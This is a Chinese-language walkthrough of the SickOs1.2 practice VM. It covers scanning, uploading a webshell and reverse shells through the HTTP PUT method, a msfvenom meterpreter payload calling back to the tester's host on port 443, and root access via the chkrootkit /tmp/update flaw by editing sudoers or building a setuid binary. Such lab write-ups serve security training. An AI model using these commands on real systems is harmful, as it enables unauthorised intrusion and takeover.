靶机渗透(九)SickOs1.2

靶机SickOs1.2

 

一、实验环境

二、实验步骤

(一)信息收集

1.查看测试机的IP信息,判断所处网段

2.主机发现(netdiscover)

3.端口扫描(masscan/nmap)

4.网站指纹信息扫描(whatweb)

(二)Web渗透

1.浏览web网页(80端口)

2.远程登录(22端口)

3.目录扫描(dirb)

(三)获取shell

1.方法一:PUT方法+菜刀

>另一种查看/test目录支持方法的方式

2.方法二:上传反弹shell脚本文件

3.方法三:msfconsole工具利用

(四)提权

1.本地提权漏洞发现

2.方法一:将当前用户加入sudoers列表中

3.方法二:shell.c文件

(五)防火墙规则


一、实验环境

1.靶机:SickOs1.2

2.测试机:Kali

3.帮凶机:Windows 10

4.抓包工具:BurpSuite

二、实验步骤

(一)信息收集

1.查看测试机的IP信息,判断所处网段

靶机渗透(九)SickOs1.2_第1张图片

2.主机发现(netdiscover)

netdiscover -i eth0 -r 192.168.10.0/24

靶机渗透(九)SickOs1.2_第2张图片

  • 发现目标主机:192.168.10.156

3.端口扫描(masscan/nmap)

masscan --rate=10000 --ports 0-65535 192.168.10.156
nmap -sV -T4 -p 22,80 192.168.10.156

靶机渗透(九)SickOs1.2_第3张图片

靶机渗透(九)SickOs1.2_第4张图片

  • 开启了22(ssh服务)、80(http服务)端口

4.网站指纹信息扫描(whatweb)

whatweb 192.168.10.156

靶机渗透(九)SickOs1.2_第5张图片

(二)Web渗透

1.浏览web网页(80端口)

靶机渗透(九)SickOs1.2_第6张图片

  • 在网页及其源码中均未发现有用信息

2.远程登录(22端口)

靶机渗透(九)SickOs1.2_第7张图片

  • 使用弱口令root(root)尝试远程登录,竟然登录成功!!!

3.目录扫描(dirb)

dirb http://192.168.10.156

靶机渗透(九)SickOs1.2_第8张图片

  • 对扫描出来得路径进行访问,无法利用

(三)获取shell

1.方法一:PUT方法+菜刀

a.访问/test

http://192.168.10.156/test
searchsploit lighttpd 1.4

靶机渗透(九)SickOs1.2_第9张图片

靶机渗透(九)SickOs1.2_第10张图片

  • 访问该目录,发现该网站在lighttpd/1.4.28上运行,对其版本进行扫描,未发现可利用漏洞

b.查看/test目录支持的方法

cd /usr/share/nmap/scripts
cat http-methods.nse
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.10.156

靶机渗透(九)SickOs1.2_第11张图片

靶机渗透(九)SickOs1.2_第12张图片

  • /test目录支持PUT方法,则可上传文件

>另一种查看/test目录支持方法的方式

靶机渗透(九)SickOs1.2_第13张图片

c.测试PUT方法

靶机渗透(九)SickOs1.2_第14张图片

靶机渗透(九)SickOs1.2_第15张图片

  • 上传一个不存在的html文件进行测试(响应201 Created)

d.尝试上传木马文件,获取webshell权限

靶机渗透(九)SickOs1.2_第16张图片

靶机渗透(九)SickOs1.2_第17张图片

靶机渗透(九)SickOs1.2_第18张图片

2.方法二:上传反弹shell脚本文件

a.获取反弹shell脚本文件

cd /usr/share/webshells/php
cp /usr/share/webshells/php/php-reverse-shell.php /root/
leafpad php-reverse-shell.php

靶机渗透(九)SickOs1.2_第19张图片

靶机渗透(九)SickOs1.2_第20张图片

b.上传脚本文件至靶机

curl -v -H 'Expect:' -T php-reverse-shell.php "http://192.168.10.156/test/"

靶机渗透(九)SickOs1.2_第21张图片

靶机渗透(九)SickOs1.2_第22张图片

c.开启监听

nc -vnlp 443

d.触发脚本文件

靶机渗透(九)SickOs1.2_第23张图片

e.拿到shell

靶机渗透(九)SickOs1.2_第24张图片

3.方法三:msfconsole工具利用

a.msfvenom生成payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=7777 -f raw > shell.php

靶机渗透(九)SickOs1.2_第25张图片

  • 此处运用了reverse_tcp,LHOST应为测试机的IP,进行了一个反转,变成测试机来进行监听

b.上传shell.py至靶机的/test/目录下

curl -v -H 'Expect:' -T shell.php "http://192.168.10.156/test/"

靶机渗透(九)SickOs1.2_第26张图片

靶机渗透(九)SickOs1.2_第27张图片

  • 在curl的参数中加上一个特定的HTTP Header Expect:,即将Header中Expect的值手动指定为空

c.启用msfconsole

root@xuer:~# msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload 
msf exploit(multi/handler) > show options 
msf exploit(multi/handler) > set LHOST 192.168.10.156    #此处应set测试机IP
msf exploit(multi/handler) > set LPORT 7777
msf exploit(multi/handler) > exploit -j
msf exploit(multi/handler) > sudo netstat -plnt

靶机渗透(九)SickOs1.2_第28张图片

靶机渗透(九)SickOs1.2_第29张图片

  • 此处的LHOST应与msfvenom生成payload命令中的相同(即测试机IP)

  • 误设置成靶机IP,提示监听失败,转至0.0.0.0:7777监听(本机即测试机监听)

d.访问生成的shell.php文件

curl -v "http://192.168.10.156/test/shell.php"

靶机渗透(九)SickOs1.2_第30张图片

  • 使用curl或BurpSuite访问这个生成的shell.php文件之后,页面卡顿(正常情况,在等待服务器响应),而msfconsole中并没有响应

  • 猜测可能是防火墙ban掉了非常用端口的outbound流量

e.在msfvenom中修改监听端口,上传shell_443.php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f raw > shell_443.php
curl -v -H 'Expect:' -T shell_443.php "http://192.168.10.156/test/"

靶机渗透(九)SickOs1.2_第31张图片

靶机渗透(九)SickOs1.2_第32张图片

  • 为防止防火墙ban掉非常用端口的outbound流量的现象,监听端口应设置为常用端口,如443端口

f.在msfconsole中修改修改监听端口(LHOST)

msf exploit(multi/handler) > set LHOST 192.168.10.128
msf exploit(multi/handler) > set LPORT 443
msf exploit(multi/handler) > exploit -j
msf exploit(multi/handler) > sudo netstat -plnt

靶机渗透(九)SickOs1.2_第33张图片

  • 此时,监听反转设置成功

g.访问靶机上的shell_443.php文件

curl -v "http://192.168.10.156/test/shell_443.php"

靶机渗透(九)SickOs1.2_第34张图片

h.获取meterpreter的shell

msf exploit(multi/handler) > sessions -i 1
python -c 'import pty; pty.spawn("/bin/bash")'

靶机渗透(九)SickOs1.2_第35张图片

靶机渗透(九)SickOs1.2_第36张图片

靶机渗透(九)SickOs1.2_第37张图片

  • 访问shell_443.php文件后,即刻触发服务器端反弹TCP的操作,在msfconsole中会得到一个meterpreter的shell

  • 使用python命令来spawn生成一个bash(即交互式tty)

(四)提权

1.本地提权漏洞发现

a.查看靶机服务器版本信息

lsb_release -a
ls -la /etc/crontab
searchsploit chkrootkit

靶机渗透(九)SickOs1.2_第38张图片

  • crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表

  • 在/etc/cron.daily目录下,发现chkrootkit工具

b.Chkrootkit版本扫描

searchsploit chkrootkit
cat /usr/share/exploitdb/platforms/linux/local/38775.rb

靶机渗透(九)SickOs1.2_第39张图片

靶机渗透(九)SickOs1.2_第40张图片

靶机渗透(九)SickOs1.2_第41张图片

  • chkrootkit存在本地提权漏洞

  • 原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件

2.方法一:将当前用户加入sudoers列表中

a.新建一个update文件

touch /tmp/update

靶机渗透(九)SickOs1.2_第42张图片

b.给update文件添加执行权限

chmod +x /tmp/update
ls -l

靶机渗透(九)SickOs1.2_第43张图片

c.给update文件赋权

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
ls -la /etc/sudoers

靶机渗透(九)SickOs1.2_第44张图片

d.提权

sudo su -

靶机渗透(九)SickOs1.2_第45张图片

  • 使用sudo su命令提权时,只切换到root用户

  • 使用sudo su -命令提权时,该命令将root的环境变量一起切换过来,相当于root登录时的状态

3.方法二:shell.c文件

a.在测试机编写shell.c文件

cd /var/www/html
leafpad shell.c 

#include
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}

/etc/init.d/apache2 start

靶机渗透(九)SickOs1.2_第46张图片

b.靶机获取shell.c文件

curl -v -H 'Expect:' -T shell.c "http://192.168.10.156/test/"

靶机渗透(九)SickOs1.2_第47张图片

靶机渗透(九)SickOs1.2_第48张图片

  • 无法使用wget命令,也可使用scp命令,来获取shell.c文件

c.编译执行shell.c文件,提权成功

cp shell.c /tmp/shell.c
gcc shell.c -o update
./update

靶机渗透(九)SickOs1.2_第49张图片

靶机渗透(九)SickOs1.2_第50张图片

(五)防火墙规则

python -c 'import pty; pty.spawn("/bin/bash")'
cd /root
cat newRule

靶机渗透(九)SickOs1.2_第51张图片

  • 对于入站流量:只接收22、80目的端口,8080、443源端口

  • 对于出站流量:只接收22、80源端口,8080、443目的端口

  • 即,本地端口只允许22和80,外来端口只允许8080和443,用来保证对外部HTTP(s)服务的正常访问

  • 由此,可利用这一点,监听443端口来接收反弹shell(这也验证了之前使用7777端口监听失败的原因)

靶机渗透(九)SickOs1.2_第52张图片

  • 成功拿到“伪”flag

 


总结:

1.拿到该靶机,浏览网页没有任何发现,测试其特定目录支持的方法(/test目录支持PUT方法),找到突破口

2.通过利用PUT方法,上传一句话木马文件,拿到菜刀webshell权限

3.也可通过上传Kali自带的反弹shell脚本文件(php-reverse-shell.php)拿到shell

4.还可以使用msfvenom生成payload,配合msfconsole,触发服务器端反弹TCP,得到一个meterpreter的shell

5.通过对chkrootkit工具存在的本地提权漏洞的利用,使用了两种方法提权

6.该靶机设置了防火墙策略,相对提高了安全性

你可能感兴趣的:(靶机渗透)